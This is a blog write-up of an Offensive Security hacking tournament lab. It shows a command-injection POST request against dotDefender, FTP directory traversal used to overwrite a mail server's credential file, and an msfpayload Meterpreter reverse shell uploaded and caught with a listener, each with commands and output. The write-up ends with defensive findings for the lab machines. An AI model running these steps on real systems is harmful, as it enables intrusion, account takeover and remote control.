Offensive Security Hacking Tournament – How strong was my fu ?

Hi,

Over the last 2 days my friends from Corelan Team and I participated in a Hacking Tournament, organized by Offensive Security.  The primary goals of the tournament are :

• be the first one to grab “secret” information from a machine and post it to the Tournament Control Panel.
• document your findings and submit them to offsec.

A lot of people registered for the tournament, so in order to avoid massive overload and bandwidth issues, a few days before the contest would start, all participants were told that they would have to pass a “n00b” filter, an “easy” phase1 challenge before we could actually VPN into the lab and start the real challenge.

That’s the scope.

What follows below, are my personal notes I took during the contest. (and in case you were wondering : I registered as “corelanc0d3r” (corelanc0d3r@gmail.com).

Before getting started, it’s important to note that I’m not a pentester at all.  I just took OffSec’s  “Try Harder” philosophy serious and tried to “think out of the box” instead of relying/focussing on tools.  Let’s find out how far I got with this approach.  Whether that was enough to break the challenges or not, will become clear soon.

Before the games started, I was hoping there would be a good amount of of Windows systems / Exploit building exercises (and not a lot of linux systems/web based apps because I’m not really strong in those areas)

You can see the scoreboard here and find out how good/average/bad I did :  http://scoreboard.information-security-training.com/scoreboard/

The n00b filter

In the “pre-challenge” exercise (the challenge to filter participants and only allow the first 100 to connect), we were kindly requested to find a secret key and use it to register for the tournament Control Panel. Upon connecting to the machines hosting the “secret key”, a simple login form was displayed : (http://www1.noob-filter.com or http://www2.noob-filter.com)

The “hints and tips” section of the tournament stated that, in this phase of the tournament, the goal is to get the contents of a file called n00bSecret.txt and use the key inside this file to register for the real labs.  Only the first 100 people to get this file/extract the key from the file, would get a seat for the real tournament.

The game just started. It’s saturday, 4pm, and I had invited some friends to come over later in the evening…  well,  in about an hour and a half to be more precise…  I still needed to prep some stuff in the kitchen, so I decided to give it my best shot, but at the same time I also realized that if I wouldn’t be able to get the secret key before my little party starts, I wouldn’t probably make it in time (=be one of the first 100 people) either.  Time pressure 🙂 Let’s see.

Back to the login page. Usually, when someone sees a login page during a pentest, there’s a big chance they will try to “log in” or bypass the login.  But in this case, the challenge is about getting a file.

At the same time, the only thing we see is the login page. So my initial plan was not to start “hammering” on the login page, but rather to see if the form/login page will give us some information that can be helpful to get access to the system (regardless of whether there is something behind the login page).

Of course, if that wouldn’t lead to anything useful, I could still do plan B : bruteforcing files and directories.

I had a quick look at the source (fields, forms, etc) of the login page but there was not much to see.  So my next step was to see what kind of error messages I could trigger when doing some simple tests.  I decided to start with a simple sql injection attempt (basically just put a single quote in the Username field).

That attempt redirected me to an error page generated by a plugin called dotDefender.

Note : at the time of writing this documentation, it looks like the offsec crew changed the behaviour to block the display of the dotDefender error message :

Look at the page source of the page :

=> clear reference to “Applicure”, which is the company that developed dotDefender :

So from this point forward, it pretty easy to figure out that dotDefender is installed in the /dotDefender folder. (Grab yourself a trial version, install it, done… or just Google for it)

Anyways, by navigating into the dotDefender folder, I got a prompt for a username and password (basic authentication request)

The login text says I should try “admin” as username.  Let’s try some obvious combinations things.  admin/admin, admin/1234, admin/password… bingo !  the admin/password combination worked fine.

That brings us to vulnerability 1 : the username is admin, and the password is “password”. The configuration of an easy-to-guess password (in combination with the fact that the admin account name was displayed on the login form), allows me to get access to the dotDefender Site Management page.  This poor configuration would allow unauthorized people to change the dotDefender configuration, potentially allowing them to bypass input restrictions.

That’s nice, but it might not help me bypassing the login form, as the “Stop dotDefender” button doens’t really seem to do anything.  So I did a quick search for vulnerabilities in the dotDefender plugin, and I got this :

http://www.exploit-db.com/exploits/10261

An attack looks like:

--------------------/Request/--------------------
POST /dotDefender/index.cgi HTTP/1.1
Host: 172.16.159.132
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US;
rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: https://172.16.159.132/dotDefender/index.cgi
Authorization: Basic YWRtaW46
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 95

sitename=dotdefeater&deletesitename=dotdefeater;id;ls -al
../;pwd;&action=deletesite&linenum=15

--------------------/Response/--------------------

So it looks like we can use a specially crafted POST request to execute commands on the file system.

If that is true, we can simply try to  “find” the secret file on the filesystem and display it’s contents :

By hooking a web proxy between your browser and the server (or by using a custom Request editor such as Burp), we can craft/manipulate a  request and insert the evil payload, basically trying to find the location of the n00bSecret.txt file. The fields to alter are

• Host
• Referer
• Authorization
• and of course, the command to execute (“find” command in this case)

POST /dotDefender/index.cgi HTTP/1.1
Host: www1.noob-filter.com
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100330 Fedora/3.5.9-1.fc11 Firefox/3.5.9
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://www1.noob-filter.com/dotdefender/index.cgi
Authorization: Basic YWRtaW46cGFzc3dvcmQ=
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 76

sitename=dotdefeater&deletesitename=dotdefeater;find / -name n00bSecret.txt;
&action=deletesite&linenum=15

Wait until the find operation completes and review the results that are sent back by the server :

Nice.

I crafted another request, displaying the contents of the file :

Game over… and my friends just arrived….  Perfect timing 🙂

Conclusions :

A number of critical vulnerabilities were found :

• Weak admin username/password + display of admin username in the login form of dotDefender.
• Access to the dotDefender admin page from the internet.  Access to admin pages should be restricted to trusted IP’s only.
• Access to login forms/admin pages in general should be at least protected via SSL
• Remote Command Execution vulnerability in the dotDefender plugin, allowing to steal sensitive information from the system (n00bSecret.txt was just an example. You can also get some other files from the system 🙂

/etc/passwd

After entering my key in the Scoreboard/Control Panel login form, I got 25 points and was able to download the VPN files.

(don’t pay attention to the points – I made the screenshot while working on the last assignment)

So far so good, time to party with my friends. I set up the VPN connection and joined my wife and friends to have a little party.

Update : 11:30pm – friends went home, I’m a bit drunk… but ready to start with the real challenge !

Note : It took until sunday evening before the first 100 participants hacked their way through the n00bfilter…  So I guess I didn’t really had to hurry up after all 🙂 Oh well…

Target infrastructure

Challenge 1 : killthen00b

After checking that my vpn connection to the offsec labs still worked (I was assigned IP 192.168.6.114) , I decided to start with challenge “killthen00b”. The machines running this challenge were hosted at IP 192.168.6.70, .71 and .72

Part of the challenge is to deal with the process of reverts. Every 30 minutes, the machines get reverted to the previous snapshot, basically removing all of the changes that were applied to the system in the last 30 minutes.

A quick portscan (not a complete scan – I figured I could still run a full scan while looking at the obvious ports) on one of these 3 machines indicates the following “Interesting ports”

TCP Scan :

peter@krypt2:~$ nmap -A 192.168.6.70 -nvv

Starting Nmap 5.21 ( http://nmap.org ) at 2010-05-09 12:24 CEST
NSE: Loaded 36 scripts for scanning.
Initiating Ping Scan at 12:24
Scanning 192.168.6.70 [2 ports]
Completed Ping Scan at 12:24, 2.30s elapsed (1 total hosts)
Initiating Connect Scan at 12:24
Scanning 192.168.6.70 [1000 ports]
Discovered open port 21/tcp on 192.168.6.70
Discovered open port 993/tcp on 192.168.6.70
Discovered open port 995/tcp on 192.168.6.70
Discovered open port 80/tcp on 192.168.6.70
Discovered open port 143/tcp on 192.168.6.70
Discovered open port 587/tcp on 192.168.6.70
Discovered open port 25/tcp on 192.168.6.70
Discovered open port 110/tcp on 192.168.6.70
Discovered open port 3389/tcp on 192.168.6.70
Discovered open port 7025/tcp on 192.168.6.70
Discovered open port 465/tcp on 192.168.6.70
Discovered open port 7443/tcp on 192.168.6.70
Discovered open port 366/tcp on 192.168.6.70
Discovered open port 106/tcp on 192.168.6.70
Completed Connect Scan at 12:24, 6.58s elapsed (1000 total ports)
Initiating Service scan at 12:24
Scanning 14 services on 192.168.6.70
Completed Service scan at 12:24, 22.05s elapsed (14 services on 1 host)

UDP Scan :

Nmap scan report for 192.168.6.70
Host is up (0.052s latency).
Not shown: 999 open|filtered ports
PORT    STATE SERVICE
137/udp open  netbios-ns
MAC Address: 00:50:56:BC:1C:69 (VMware)

Based on the MAC address, the machine is running as a guest inside VMWare.  This may be interesting information for a pentester… If he can own the guest, he may be able to attack the host (VMWare) system as well.   Of course, the MAC addresses may be changed on purpose, but that is not relevant at this point.

Let’s have a look at the services and see if I can find some obvious issues.

First of all, the tournament Hints/Help page indicated that the FTP credentials are devil/killthen00b.

Since FTP is at the top of the list (see TCP Scan), let’s find out if these credentials work :

peter@krypt2:~$ ftp 192.168.6.70
Connected to 192.168.6.70.
220-Complete FTP server
220 FTP Server v 3.3.0
Name (192.168.6.70:peter): devil
331 Password required for devil
Password:
230 User devil logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> pwd
257 "/MyDocuments" is current directory.
ftp> ls
200 PORT command successful.
150 Opening ASCII mode data connection for listing
dr-xrwx--- 1 admin users              0 May 04 00:10 My Music
dr-xrwx--- 1 admin users              0 May 04 00:10 My Pictures
dr-xrwx--- 1 admin users              0 May 04 00:10 My Videos
226 Transfer complete.
ftp>

Ok, credentials work fine.  But there’s not a lot of information that can be found here. It looks like we are stuck in the My Documents folder

257 "/MyDocuments" is current directory.
ftp> cd ..
550 CWD: Operation not permitted.
ftp>

The server banner returns “Complete FTP server”.  A quick search on exploit-db shows that this FTP server (if we can believe the banner of course) may suffer from a directory traversal vulnerability : http://www.exploit-db.com/exploits/11973.

So let’s see if we can break out of the root using the directory traversal vulnerability on this ftp server :

ftp> cd \..\..\..\
250 Directory changed to "/MyDocuments/......".
ftp> ls
200 PORT command successful.
150 Opening ASCII mode data connection for listing
dr-xrwx--- 1 admin users              0 May 04 00:10 AppData
dr-xrwx--- 1 admin users              0 May 04 00:10 Application Data
dr-xrwx--- 1 admin users              0 May 04 00:10 Cookies
dr-xrwx--- 1 admin users              0 Jul 13 2009 Desktop
dr-xrwx--- 1 admin users              0 May 04 00:10 Documents
dr-xrwx--- 1 admin users              0 Jul 13 2009 Downloads
dr-xrwx--- 1 admin users              0 Jul 13 2009 Favorites
dr-xrwx--- 1 admin users              0 Jul 13 2009 Links
dr-xrwx--- 1 admin users              0 May 04 00:10 Local Settings
dr-xrwx--- 1 admin users              0 Jul 13 2009 Music
dr-xrwx--- 1 admin users              0 May 04 00:10 My Documents
dr-xrwx--- 1 admin users              0 May 04 00:10 NetHood
dr-xrwx--- 1 admin users              0 Jul 13 2009 Pictures
dr-xrwx--- 1 admin users              0 May 04 00:10 PrintHood
dr-xrwx--- 1 admin users              0 May 04 00:10 Recent
dr-xrwx--- 1 admin users              0 Jul 13 2009 Saved Games
dr-xrwx--- 1 admin users              0 May 04 00:10 SendTo
dr-xrwx--- 1 admin users              0 May 04 00:10 Start Menu
dr-xrwx--- 1 admin users              0 May 04 00:10 Templates
dr-xrwx--- 1 admin users              0 Jul 13 2009 Videos
-r--rr---- 1 admin users         262144 May 04 00:10 NTUSER.DAT
-r--rr---- 1 admin users         226304 May 04 00:10 ntuser.dat.LOG1
-r--rr---- 1 admin users              0 May 04 00:10 ntuser.dat.LOG2
-r--rr---- 1 admin users          65536 May 04 00:10 NTUSER.DAT{6cced2f1-...
-r--rr---- 1 admin users         524288 May 04 00:10 NTUSER.DAT{6cced2f1-...
-r--rr---- 1 admin users         524288 May 04 00:10 NTUSER.DAT{6cced2f1-...
-r--rr---- 1 admin users             20 May 04 00:10 ntuser.ini
226 Transfer complete.
ftp> cd \..\..\..\
250 Directory changed to "/MyDocuments/....../......".
ftp> ls
200 PORT command successful.
150 Opening ASCII mode data connection for listing
dr-xrwx--- 1 admin users              0 May 03 23:05 Administrator
dr-xrwx--- 1 admin users              0 Jul 13 2009 All Users
dr-xrwx--- 1 admin users              0 Aug 31 2009 Default
dr-xrwx--- 1 admin users              0 Jul 13 2009 Default User
dr-xrwx--- 1 admin users              0 May 04 00:06 devil
dr-xrwx--- 1 admin users              0 May 04 00:08 ftp
dr-xrwx--- 1 admin users              0 Jul 13 2009 Public
dr-xrwx--- 1 admin users              0 May 04 00:10 TEMP
-r--rr---- 1 admin users            174 Jul 13 2009 desktop.ini
226 Transfer complete.
ftp> cd \..\..\..\
250 Directory changed to "/MyDocuments/....../....../......".
ftp> ls
200 PORT command successful.
150 Opening ASCII mode data connection for listing
dr-xrwx--- 1 admin users              0 May 03 22:58 $Recycle.Bin
dr-xrwx--- 1 admin users              0 Jul 13 2009 Documents and Settings
dr-xrwx--- 1 admin users              0 Jul 13 2009 PerfLogs
dr-xrwx--- 1 admin users              0 May 03 19:20 Program Files
dr-xrwx--- 1 admin users              0 May 03 19:21 ProgramData
dr-xrwx--- 1 admin users              0 May 03 22:51 Python26
dr-xrwx--- 1 admin users              0 Apr 30 01:21 Recovery
dr-xrwx--- 1 admin users              0 May 06 05:01 surgemail
dr-xrwx--- 1 admin users              0 May 03 22:38 System Volume Information
dr-xrwx--- 1 admin users              0 May 04 00:10 Users
dr-xrwx--- 1 admin users              0 May 03 21:28 Windows
-r--rr---- 1 admin users             24 Jun 10 2009 autoexec.bat
-r--rr---- 1 admin users             10 Jun 10 2009 config.sys
-r--rr---- 1 admin users     2043449344 May 03 23:14 pagefile.sys
-r--rr---- 1 admin users       12645888 May 03 05:53 surgemail_installer.exe
226 Transfer complete.
ftp>

Nice, so we have access to the entire disk.   I started downloading most of the files, to see if I would need to analyze them later on.  (After all, files such as NTUSER.dat.* may contain sensitive information)

Before continuing, let’s look at the other services. Perhaps we can use the fact that we can access the filesystem to get some information about the configuration of these services.

Nmap scan report for 192.168.6.70
Host is up (0.13s latency).
Scanned at 2010-05-09 12:24:15 CEST for 37s
Not shown: 986 filtered ports
PORT     STATE SERVICE       VERSION
21/tcp   open  ftp
|_ftp-anon: Anonymous FTP login allowed
25/tcp   open  smtp          Surgemail smtpd 3.8k4-4
|_smtp-commands: EHLO killthen00b. Hello example.org (192.168.6.114), AUTH PLAIN LOGIN, ETRN, X-ID 6b696c6c7468656e30306231323732393539363939, SIZE 20971520, HELP
80/tcp   open  http          DNews Web Based Manager
|_http-favicon: Unknown favicon MD5: 803DA8BF442FFF23072386E2B5EF2928
|_html-title: SurgeMail Welcome Page
106/tcp  open  pop3pw        Qualcomm poppassd (Maximum users connected)
110/tcp  open  pop3          SurgeMail pop3d 3.8k4-4
143/tcp  open  imap          SurgeMail imapd 3.8k4-4
|_imap-capabilities: UIDPLUS SURGEMAIL IMAP4REV1 IMAP4 XFLDDATA IDLE NAMESPACE QUOTA
366/tcp  open  smtp          Surgemail smtpd 3.8k4-4
465/tcp  open  ssl/smtp      Surgemail smtpd 3.8k4-4
| sslv2: server still supports SSLv2
|       SSL2_DES_192_EDE3_CBC_WITH_MD5
|       SSL2_IDEA_128_CBC_WITH_MD5
|       SSL2_RC2_CBC_128_CBC_WITH_MD5
|       SSL2_RC4_128_WITH_MD5
|       SSL2_DES_64_CBC_WITH_MD5
|_      SSL2_RC4_128_EXPORT40_WITH_MD5
587/tcp  open  smtp          Surgemail smtpd 3.8k4-4
993/tcp  open  ssl/imap      SurgeMail imapd 3.8k4-4
| sslv2: server still supports SSLv2
|       SSL2_DES_192_EDE3_CBC_WITH_MD5
|       SSL2_IDEA_128_CBC_WITH_MD5
|       SSL2_RC2_CBC_128_CBC_WITH_MD5
|       SSL2_RC4_128_WITH_MD5
|       SSL2_DES_64_CBC_WITH_MD5
|_      SSL2_RC4_128_EXPORT40_WITH_MD5
|_imap-capabilities: UIDPLUS SURGEMAIL IMAP4REV1 IMAP4 ...
995/tcp  open  ssl/pop3      SurgeMail pop3d 3.8k4-4
| sslv2: server still supports SSLv2
|       SSL2_DES_192_EDE3_CBC_WITH_MD5
|       SSL2_IDEA_128_CBC_WITH_MD5
|       SSL2_RC2_CBC_128_CBC_WITH_MD5
|       SSL2_RC4_128_WITH_MD5
|       SSL2_DES_64_CBC_WITH_MD5
|_      SSL2_RC4_128_EXPORT40_WITH_MD5
|_pop3-capabilities: USER SURGEMAIL UIDL TOP OK(K Capability list follows)
3389/tcp open  microsoft-rdp Microsoft Terminal Service
7025/tcp open  ssl/http      DNews Web Based Manager
| sslv2: server still supports SSLv2
|       SSL2_DES_192_EDE3_CBC_WITH_MD5
|       SSL2_IDEA_128_CBC_WITH_MD5
|       SSL2_RC2_CBC_128_CBC_WITH_MD5
|       SSL2_RC4_128_WITH_MD5
|       SSL2_DES_64_CBC_WITH_MD5
|_      SSL2_RC4_128_EXPORT40_WITH_MD5
|_html-title: SurgeMail (killthen00b)
|_http-favicon: Unknown favicon MD5: 803DA8BF442FFF23072386E2B5EF2928
7443/tcp open  ssl/http      Surgemail webmail (DNews based)
| sslv2: server still supports SSLv2
|       SSL2_DES_192_EDE3_CBC_WITH_MD5
|       SSL2_IDEA_128_CBC_WITH_MD5
|       SSL2_RC2_CBC_128_CBC_WITH_MD5
|       SSL2_RC4_128_WITH_MD5
|       SSL2_DES_64_CBC_WITH_MD5
|_      SSL2_RC4_128_EXPORT40_WITH_MD5
|_http-favicon: Unknown favicon MD5: 803DA8BF442FFF23072386E2B5EF2928
|_html-title: SurgeMail Welcome Page
1 service unrecognized despite returning data. 
If you know the service/version, please submit the following fingerprint 
at http://www.insecure.org/cgi-bin/servicefp-submit.cgi :
SF-Port21-TCP:V=5.21%I=7%D=5/9%Time=4BE68D5E%P=i686-pc-linux-gnu%r(NULL,31
SF:,"220-Complete\x20FTP\x20server\r\n220\x20FTP\x20Server\x20v\x203\.3\.0
SF:\r\n")%r(GenericLines,31,"220-Complete\x20FTP\x20server\r\n220\x20FTP\x
SF:20Server\x20v\x203\.3\.0\r\n")%r(Help,54,"220-Complete\x20FTP\x20server
SF:\r\n220\x20FTP\x20Server\x20v\x203\.3\.0\r\n502\x20Command\x20not\x20im
SF:plemented:\x20HELP\r\n")%r(SMBProgNeg,31,"220-Complete\x20FTP\x20server
SF:\r\n220\x20FTP\x20Server\x20v\x203\.3\.0\r\n");
Service Info: Host: killthen00b; OS: Windows

Ok, so we have Qualcomm poppassd, Surgemail and some other stuff.

Where to start ?  This is what I did :

Surgemail allows access to certain services via a webpage.  Surgemail is a name that showed up a few times in the nmap services list.  So it looks like Surgemail is reponsible for the vast majority of the services on this machine.

If you have to pick something to start with, and you see that one application appears to be responsible for most of the services on the machine, then I figured this is a high risk/high impact service.

In the ftp listing of the root of the drive, I noticed 2 references to Surgemail :

• a folder called “surgemail”
• a file called “surgemail_installer.exe”

I downloaded the installer file (which was still possible when I was connected to the lab) and installed it on a test box.  During the installation of surgemail on my test box, I created an admin account (user: admin/ password: admin) and tried to find the file where the admin username/password was stored.  I discovered that credentials get stored into a file called nwauth.add

So let’s see if we can use this to get ourselves an admin account in surgemail on the lab machine… Maybe the hashing/encoding of the password will work for any account (no salt etc).

Still connected via FTP, I downloaded the nwauth.add file from the server

250 Directory changed to "/MyDocuments/....../....../....../......".
ftp> cd surgemail
250 Directory changed to "/MyDocuments/....../....../....../....../surgemail".
ftp> get nwauth.add
local: nwauth.add remote: nwauth.add
200 PORT command successful.
150 Opening BINARY mode data connection for nwauth.add
226 Transfer complete.
227 bytes received in 0.00 secs (152.9 kB/s)
ftp> bye
221 Goodbye.

root@krypt2:/vpn/70# cat nwauth.add
n00b@killthen00b:{ssha}floeVmRUcb7ku3ChQzBdC4acP3ugCInK:created="1272891311" 
mailaccess="" mailstatus="" admin_access="" quota="" expire="0" full_name="" 
max_in="" phone="" smsto="" user_access="" alias_quota="" list_quota=""

I simply changed the password for the n00b user, added a new user corelanc0d3r (again with the same “admin” hash), and then uploaded the file. I also added a user devil (again with the same password), and uploaded the file again to the server

peter@krypt2:/vpn/70$ cat nwauth.add
corelanc0d3r@killthen00b:{ssha}fqwU1VAdjf6TTr7Av3pUYDxHJ6Y8TQxt:
n00b@killthen00b:{ssha}fqwU1VAdjf6TTr7Av3pUYDxHJ6Y8TQxt:
devil@killthen00b:{ssha}fqwU1VAdjf6TTr7Av3pUYDxHJ6Y8TQxt:

(again, when I performed the exercise, this file was readable and could be downloaded.  It looks like muts and his friends got fed up by people trying to change passwords and they finally blocked access to this file)

Anyways, I uploaded the modified nwauth.add file and tried to log in to the domadmin (Domain Management) page using the “corelanc0d3r” and password “admin” combination

Result :

Nice.

Let’s see if I can create some stuff here (just for fun). I decided to create a little blog and publish it on the server :

muahaha…   ok, enough playing.   So I found a second serious vulnerability on this box.  But I should stay focussed and try to 0wn the machine in order to grab the “secret key” from the machine, which is what is really needed to complete this challenge. Focus Peter, Focus.

I went back to the surgemail home page and clicked on the “webmail” link.

When looking at the WebMail login page, I noticed this :

WebMail appears to be an executable, in the scripts folder.  So what if we can put our own executable in this “scripts” folder and call it from the web browser ?

First, using metasploit’s msfpayload, let’s create an evil executable (Meterpreter reverse tcp shell) that would give us a nice shell :

./msfpayload windows/meterpreter/reverse_tcp RHOST=192.168.6.114 RPORT=4444 LHOST=192.168.6.114 LPORT=4444 X > _corelanc0d3r.exe

I then uploaded the file to the scripts folder via the FTP directory traversal bug :

root@krypt2:/vpn/70# ftp 192.168.6.70
Connected to 192.168.6.70.
220-Complete FTP server
220 FTP Server v 3.3.0
Name (192.168.6.70:peter): devil
331 Password required for devil
Password:
230 User devil logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> cd \..\..\..\  
250 Directory changed to "/MyDocuments/......".
ftp> cd \..\..\..\
250 Directory changed to "/MyDocuments/....../......".
ftp> cd \..\..\..\
250 Directory changed to "/MyDocuments/....../....../......".
ftp> cd surgemail
250 Directory changed to "/MyDocuments/....../....../....../surgemail".
ftp> cd scripts
250 Directory changed to "/MyDocuments/....../....../....../surgemail/scripts".
ftp> bin
200 Type set to I
ftp> put _corelanc0d3r.exe
local: _corelanc0d3r.exe remote: _corelanc0d3r.exe
200 PORT command successful.
150 Opening BINARY mode data connection for _corelanc0d3r.exe
226 Transfer complete.
37888 bytes sent in 0.54 secs (69.1 kB/s)

Next, set up a metasploit multi handler and listen for incoming connections :

root@krypt2:/pentest/exploits/framework3# ./msfcli multi/handler 
             payload=windows/meterpreter/reverse_tcp 
             lhost=192.168.6.114 lport=4444 E
[*] Please wait while we load the module tree...
[*] Started reverse handler on port 4444
[*] Starting the payload handler...

Finally I called the executable from the web browser :

and the meterpreter session kicked in :

[*] Please wait while we load the module tree...
[*] Started reverse handler on port 4444
[*] Starting the payload handler...
[*] Sending stage (725504 bytes)
[*] Meterpreter session 1 opened (192.168.6.114:4444 -> 192.168.6.70:49604)

w00t.  Game over ? – Maybe…  What are my privileges ?

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > ipconfig

Software Loopback Interface 1
Hardware MAC: 00:00:00:00:00:00
IP Address  : 127.0.0.1
Netmask     : 255.0.0.0



Intel(R) PRO/1000 MT Network Connection
Hardware MAC: 00:50:56:bc:1c:69
IP Address  : 192.168.6.70
Netmask     : 255.255.255.0


meterpreter > shell
Process 3656 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

c:\surgemail\scripts>

Yeah – game over. That’s good enough for me.  Let’s see if we can find the file.

Usually, offsec will plant a “proof” .txt file on the Desktop of the administrator of the machine.  But since I already had a shell, I decided to just list all txt files and see if I could see a file that looks as if it’s a proof file.

I issued a “dir *.txt /S” and evaluated the output, and I found (as expected) the proof file on the desktop of the administrator.

I then used the shell to grab the secret file from the system :

c:\surgemail\scripts>cd /
cd /

c:\>cd users
cd users

c:\Users>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 0CDF-A146

 Directory of c:\Users

05/04/2010  12:10 AM    <DIR>          .
05/04/2010  12:10 AM    <DIR>          ..
05/03/2010  11:05 PM    <DIR>          Administrator
05/04/2010  12:06 AM    <DIR>          devil
05/04/2010  12:08 AM    <DIR>          ftp
07/13/2009  09:08 PM    <DIR>          Public
05/04/2010  12:10 AM    <DIR>          TEMP
               0 File(s)              0 bytes
               7 Dir(s)   2,687,561,728 bytes free

c:\Users>cd Administrator
cdcd Administrator

c:\Users\Administrator> Desktop
cd Desktop

c:\Users\Administrator\Desktop>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 0CDF-A146

 Directory of c:\Users\Administrator\Desktop

05/03/2010  11:59 PM    <DIR>          .
05/03/2010  11:59 PM    <DIR>          ..
05/03/2010  11:59 PM                32 proof.txt
               1 File(s)             32 bytes
               2 Dir(s)   2,687,496,192 bytes free

c:\Users\Administrator\Desktop>type proof.txt
type proof.txt
a61b0c1bf71267289efeecf778b1e51e
c:\Users\Administrator\Desktop>

1:10 am. Game over. No need to look any further at this point. I even didn’t consider running a full nmap anymore.

What else can be done here ?

Basically,everything you want. Create admin user, rdp into the machine, run hashdump, use this machine to pivot into other machines… etc etc

But I’m a good boy… I just went ahead and submitted the key …  and earned another 25 points.

Conclusions :

I found a number of critical vulnerabilities on this machine.  Because of time constraints, as well as the fact that I already owned the machine, I didn’t really look any further after I got hold of the proof file

So this list may be far from complete :

• FTP server is vulnerable to a directory traversal attack
• FTP server allows anonymous access (may not be a vulnerability by itself)
• insecure file permissions on the surgemail folder, allowing to download and upload files. This leads to
  • the ability to change the login credentials and gain
    • admin access to the surgemail system
    • access to the mailbox of other users.  I changed the password of the “devil” account as well (set pw to “admin”), changed a parameter in the webadmin.ini file, and I could read the mails from this mailbox.  The mailbox contained 3 log entries (surgemail server restart notifications, with some interesting info)
    • etc (use your imagination)
  • the ability to upload an evil executable into the “scripts” folder and executing it in the context of the server, gaining full system access (and allowing to grab the “proof.txt” file that contained the secret key)
• weak hash/cipher algo (SSL services allow the use of RC2, MD5, etc, which are considered to be weak)
• access to admin pages/webmail (= potentially sensitive information)/etc webpages should be forced to use SSL. (While SSL access was possible over port 7443, the default port (80) was not encrypted, and that’s what most people might use. Just a simple redirect on port 80, forcing users to use SSL might do the job as well)
• Based on the contents of the avast.log file I found on the machine, surgemail may not be protected by avast antivirus

(In fact, I found a good amount of log files in the surgemail folder – unprotected and waiting to be altered after a comprimise)

• Use valid certificates (instead of invalid self-signed certificate)
• insecure firewall configurations
  • too many ports open (more than needed to host services)
  • allowing outbound traffic (reverse tunnel) when it’s not really necessary (allowing attacker to set up a reverse tunnel)
• client facing services running with system privileges, increasing the impact when a vulnerability gets exploited :

meterpreter > ps    

Process list
============

 PID   Name                    Arch  User                          Path
 ---   ----                    ----  ----                          ----
 0     [System Process]                                            
 4     System                  x86                                 
 260   smss.exe                x86   NT AUTHORITY\SYSTEM           \SystemRoot\System32\smss.exe
 348   csrss.exe               x86   NT AUTHORITY\SYSTEM           C:\Windows\system32\csrss.exe
 392   wininit.exe             x86   NT AUTHORITY\SYSTEM           C:\Windows\system32\wininit.exe
 480   services.exe            x86   NT AUTHORITY\SYSTEM           C:\Windows\system32\services.exe
 488   lsass.exe               x86   NT AUTHORITY\SYSTEM           C:\Windows\system32\lsass.exe
 500   lsm.exe                 x86   NT AUTHORITY\SYSTEM           C:\Windows\system32\lsm.exe
 596   svchost.exe             x86   NT AUTHORITY\SYSTEM           C:\Windows\system32\svchost.exe
 668   svchost.exe             x86   NT AUTHORITY\NETWORK SERVICE  C:\Windows\system32\svchost.exe
 760   svchost.exe             x86   NT AUTHORITY\LOCAL SERVICE    C:\Windows\System32\svchost.exe
 816   svchost.exe             x86   NT AUTHORITY\SYSTEM           C:\Windows\System32\svchost.exe
 860   svchost.exe             x86   NT AUTHORITY\SYSTEM           C:\Windows\system32\svchost.exe
 936   svchost.exe             x86   NT AUTHORITY\LOCAL SERVICE    C:\Windows\system32\svchost.exe
 1048  svchost.exe             x86   NT AUTHORITY\NETWORK SERVICE  C:\Windows\system32\svchost.exe
 1160  spoolsv.exe             x86   NT AUTHORITY\SYSTEM           C:\Windows\System32\spoolsv.exe
 1196  svchost.exe             x86   NT AUTHORITY\LOCAL SERVICE    C:\Windows\system32\svchost.exe
 1364  CompleteFTPService.exe  x86   NT AUTHORITY\SYSTEM           C:\Program Files\Complete FTP\Server\CompleteFTPService.exe
 1664  surgemail.exe           x86   NT AUTHORITY\SYSTEM           c:\surgemail\surgemail.exe
 1828  swatch.exe              x86   NT AUTHORITY\SYSTEM           c:\surgemail\swatch.exe
 1884  nwauth.exe              x86   NT AUTHORITY\SYSTEM           c:\surgemail\nwauth.exe
 328   WmiPrvSE.exe            x86   NT AUTHORITY\SYSTEM           C:\Windows\system32\wbem\wmiprvse.exe
 1304  SearchIndexer.exe       x86   NT AUTHORITY\SYSTEM           C:\Windows\system32\SearchIndexer.exe
 2260  sppsvc.exe              x86   NT AUTHORITY\NETWORK SERVICE  C:\Windows\system32\sppsvc.exe
 2588  svchost.exe             x86   NT AUTHORITY\SYSTEM           C:\Windows\System32\svchost.exe
 3064  svchost.exe             x86   NT AUTHORITY\LOCAL SERVICE    C:\Windows\system32\svchost.exe
 848   csrss.exe               x86   NT AUTHORITY\SYSTEM           C:\Windows\system32\csrss.exe
 748   winlogon.exe            x86   NT AUTHORITY\SYSTEM           C:\Windows\system32\winlogon.exe
 784   LogonUI.exe             x86   NT AUTHORITY\SYSTEM           C:\Windows\system32\LogonUI.exe
 3912  csrss.exe               x86   NT AUTHORITY\SYSTEM           C:\Windows\system32\csrss.exe
 3696  winlogon.exe            x86   NT AUTHORITY\SYSTEM           C:\Windows\system32\winlogon.exe
 148   taskhost.exe            x86   killthen00b\Administrator     C:\Windows\system32\taskhost.exe
 1856  rdpclip.exe             x86   killthen00b\Administrator     C:\Windows\system32\rdpclip.exe
 3788  dwm.exe                 x86   killthen00b\Administrator     C:\Windows\system32\Dwm.exe
 3916  explorer.exe            x86   killthen00b\Administrator     C:\Windows\Explorer.EXE
